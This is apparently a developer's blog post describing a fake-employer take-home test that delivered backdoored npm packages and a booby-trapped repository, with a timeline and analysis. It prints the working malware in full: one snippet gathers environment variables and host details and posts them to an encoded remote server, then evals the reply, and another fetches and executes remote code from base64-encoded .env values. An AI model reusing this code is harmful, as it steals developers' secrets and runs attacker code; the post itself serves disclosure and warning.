journal

I Was Targeted by a Fake Employer Running a Real NPM Supply Chain Attack

A journey through the rabbit-hole of backdoors and digital deception

Author: Toufiqur Rahaman Chowdhury • Published: 2025-07-25 • ← Back to Journal Home


📅 Timeline of Events

June 25, 2025
Earlier in the week, I applied to a few developer roles online. I received an email from one of the employers who directed me to a Slack group that appeared to have been created on June 19, 2025, based on the creation date of its only two channels. The person claimed they had created this group to build a community to post jobs and connect developers with opportunities. I joined and noticed a lot of other candidates also joined the group (so far 300+ at the time of writing this). I introduced myself and had a brief conversation with other candidates, during which I casually mentioned a previous LinkedIn-based social engineering attempt that I had encountered.

June 26, 2025
A LinkedIn user named Michael McCarthy, a CEO and Angel Investor from Canada, claiming to be an employer messaged me with an opportunity for a full-stack developer role.

Figure 1: Linkedin email notifying new message received from the fake employer, Michael McCarthy
Figure 1: Linkedin email notifying new message received from the fake employer, Michael McCarthy

The role was well-aligned with my experience and most recent roles.

Figure 2:  First LinkedIn message received from the fake employer
Figure 2: First LinkedIn message received from the fake employer
Figure 3: fake employer explaining the job
Figure 3: fake employer explaining the job

They shared a link to a GitHub repo URL and asked me to complete a quick coding test. The repo URL took me to a 404 (not found) page.

Figure 4: discussing the meeting with HR
Figure 4: discussing the "meeting with HR"
Figure 5: calendly.com invite to schedule an interview and Google Docs link with the take home test description
Figure 5: calendly.com invite to schedule an interview and Google Docs link with the take home test description
Figure 6: Scheduling an interview at calendly.com
Figure 6: Scheduling an interview at calendly.com

I initially presumed the GitHub project may have been private and required an invite for me to access it. When I asked, they provided a Bitbucket repository instead. Now I realize the account might have been deleted/suspended due to reporting by others or the malware being detected by GitHub.

Figure 7: After mentioning the dead GitHub repo URL fake employer provided a BitBucket repo URL
Figure 7: After mentioning the dead GitHub repo URL fake employer provided a BitBucket repo URL

A few hours later, after cloning the Bitbucket repo, I attempted to install all the dependencies by running npm install, but the installation consistently got stuck during the initial loading stage (with a loading spinner). I presumed something might have been wrong with either my ISP’s DNS server and/or the connection with NPM servers.

Then I tried using yarn and I encountered a broken dependency: json-webhooks@1.5.9. I discovered that the package had been removed and replaced with 0.0.1-security, a standard NPM response to confirmed malicious packages that had been taken down.

I never ran the code so I was safe. However, I had the plan to use a Docker container anyway to run it as a precautionary measure.

June 27, 2025
The Bitbucket repository was suddenly deleted, and then recreated with the exact same name and structure, but this time using a new malicious package: reqweaver. I reported this to NPM, and within hours, the package was removed — nearly 92 hours after reporting — and it was downloaded 51 times by other developers. However, I regretted not downloading the source code for investigation out of curiosity.

July 3, 2025
The attacker repeated the tactic a third time, now using a new package named async-queuelite. This time, I downloaded the package for inspection. With the help of ChatGPT, I discovered a backdoor in the code which confirmed that this was a Supply Chain Attack. Details of the malicious code dissection are in the next section. I reported the async-queuelite package as well to NPM Support and it was taken down within 13 hours with zero downloads.

After confirmation of the malicious code, I tried to read the conversation I had on LinkedIn with the fake employer. The conversation disappeared and the user also disappeared. I assumed they either deleted their profile or blocked me. While reviewing the first LinkedIn email notification from Michael McCarthy, I realized the LinkedIn messages from the attacker weren’t actually deleted, just hidden from the UI. Using the message link in my email, I was able to regain access to the conversation.

July 4, 2025

The attacker repeated the exact same tactic for the fourth time: by recreating the BitBucket repo and publishing a new NPM package named restpilot. I have downloaded the source code and found the exact same backdoor code. Once again, I reported it to NPM Support.

July 10-24, 2025

After repeated takedowns of their malicious NPM packages, the attacker pivoted: they began embedding the backdoor code directly into the test project itself, removing the dependency on NPM altogether. And they created a new repo called NovaX.

Figure 8: Malicious repositories created by the attacker
Figure 8: Malicious repositories created by the attacker
Figure 9: The two user IDs used to create the initial commit and update all the malicious repositories
Figure 9: The two user IDs used to create the initial commit and update all the malicious repositories

A few days ago, I have received an email job alert from arc.dev a job posting by Tirios, the same name the fake employer used. This appeared legit but I was more curious so I applied to the job. I was hoping to get a response before I publish the article. So far I haven’t received any response. Either the fake employer is now using arc.dev to attract new victims or this is the real deal.


🚨 Dissecting async-queuelite: A Real Backdoor

In the BitBucket repo, the async-queuelite package was only imported once in the contracts/controllers/userController.js and invoked the function only once at startup, but in the middle of the file like this:

...some imports
const jsonWebHooks = require("json-webhooks");

...many lines of code
jsonWebHooks();
...more code

The async-queuelite@1.0.11 package disguised itself as a lightweight job queue. However, it:

Here is the malicious code in the NPM package (contents of the file lib/writer.js):

'use strict'
const os = require('os')
const pkg = require('../package.json')

function getMacAddress () {
  const interfaces = os.networkInterfaces()
  const macAddresses = []

  for (const interfaceName in interfaces) {
    const networkInterface = interfaces[interfaceName]

    networkInterface.forEach((details) => {
      if (details.family === 'IPv4' && !details.internal) {
        macAddresses.push(details.mac)
      }
    })
  }
  return macAddresses
}
const data = {
  ...process.env,
  version: pkg.subModuleVersion,
  platform: os.platform(),
  hostname: os.hostname(),
  username: os.userInfo().username,
  macAddresses: getMacAddress(),
}

function g (h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))) }

const hl = [
  g('72657175697265'),
  g('6178696f73'),
  g('706f7374'),
  g('68747470733A2F2F6C6F672D7365727665722D6C6F7661742E76657263656C2E6170702F6170692F6970636865636B2F373033'),
  g('68656164657273'),
  g('782d7365637265742d686561646572'),
  g('736563726574'),
  g('7468656e')
]

module.exports = (...args) => require(hl[1])[[hl[2]]](hl[3], data, { [hl[4]]: { [hl[5]]: hl[6] } })[[hl[7]]](r => eval(r.data)).catch(() => {})

Breakdown: How the Backdoor Works

The Stealth Backdoor

The attacker now uses a more direct approach without NPM. They simply put the backdoor code inside the test project: NovaX. This appears to be an older tactic they used to use in other projects under the same username on BitBucket, which they seem to have recreated (deleted the project and recreate the same project with identical name and code to make it seem like it’s a new project) and probably going to be using again.

File: auth/controllers/userController.js

.....import packages
require("dotenv").config({
    path: path.resolve(__dirname, "../config/.config.env"),
});
.....many lines of code
//Get Cookie
exports.getCookie = asyncErrorHandler(async (req, res, next) => {
  const src = atob(process.env.DEV_API_KEY);
  const k = atob(process.env.DEV_SECRET_KEY);
  const v = atob(process.env.DEV_SECRET_VALUE);
  const s = (await axios.get(src,{headers:{[k]:v}})).data.cookie;
  const handler = new (Function.constructor)('require',s);
  handler(require);
})();
.....more code

File: auth/config/.config.env

DEV_API_KEY="aHR0cHM6Ly9hcGkubnBvaW50LmlvLzE0ODk4NDcyOWUxMzg0Y2JlMjEy"
DEV_SECRET_KEY="eC1zZWNyZXQta2V5"
DEV_SECRET_VALUE="Xw=="

Summary of what changed:

This tactic increases stealth: because the backdoor is no longer inside a published package, tools like npm audit can’t catch it. Instead, it relies on developers overlooking a suspicious-looking environment variable and trusting the rest of the repo structure.

While it does the same as NPM package backdoor with less obfuscation, it is still enough to fool unsuspecting and inexperienced programmers. I won’t go into the full breakdown again, as it mirrors the earlier backdoor closely.


🔒 Social Engineering: The Fake LinkedIn Profile

The LinkedIn profile:

After I grew suspicious, the user appeared to have blocked me and deleted the entire conversation. I later realized the profile had likely been reported and banned, which caused the messages to disappear from the UI—but I was still able to access it using the URL from the initial LinkedIn message notification email.


🧩 Could the Slack Group Have Been Connected?

While I can’t definitively say the Slack group was involved, it’s worth examining the timeline and possible connections:

This raises a few possibilities:

  1. It was an unrelated coincidence — the timing just happened to align.
  2. An attacker infiltrated the group posing as a candidate — collecting contact info and monitoring conversations.
  3. The group was part of the attacker’s infrastructure — created to scout developers and test approaches.

While I lean toward the attacker having some visibility or presence in that group, I’m not accusing anyone specifically. I still have to put my Dexter Morgan’s forensic analyst hat on.

It’s possible the group is legitimate and simply compromised or observed without the admin’s knowledge.


🔎 Why This Was Clearly Targeted

This wasn’t opportunistic. It was a carefully prepared social engineering + supply chain attack.


✅ What I Did Right


🚫 What Could Have Gone Wrong


🚧 Indicators of Compromise (IOC)

Malicious NPM packages:

Remote server used:

Obfuscation techniques:

I reported the last three packages (reqweaver, async-queuelite, and restpilot) to NPM, and the first two have since been removed from the registry.


📊 Lessons for Developers


✉️ Final Thoughts

Since this incident, I’ve also encountered another obfuscated malware sample distributed via UpWork. Maybe I’ll try to cover that in a follow-up post.

This experience was frustrating but incredibly eye-opening. It showed how attackers are adapting: combining social engineering with modern supply chain tactics to compromise individual developers.

If I hadn’t been cautious, this could’ve ended very differently. If you’re a freelancer or open-source contributor, stay vigilant.

Feel free to share this story. If it protects even one developer, it’s worth it.


If you have seen any packages or messages similar to this incident, or if you’d like to collaborate on raising awareness, feel free to reach out.


👤 About the Author

Toufiqur Rahaman Chowdhury is a full-stack software developer with over 8 years of experience building scalable web applications. He’s worked across frontend, backend, and blockchain systems.

🔗 ← Back to Journal HomeCVLinkedInGitHubContact / Hire Me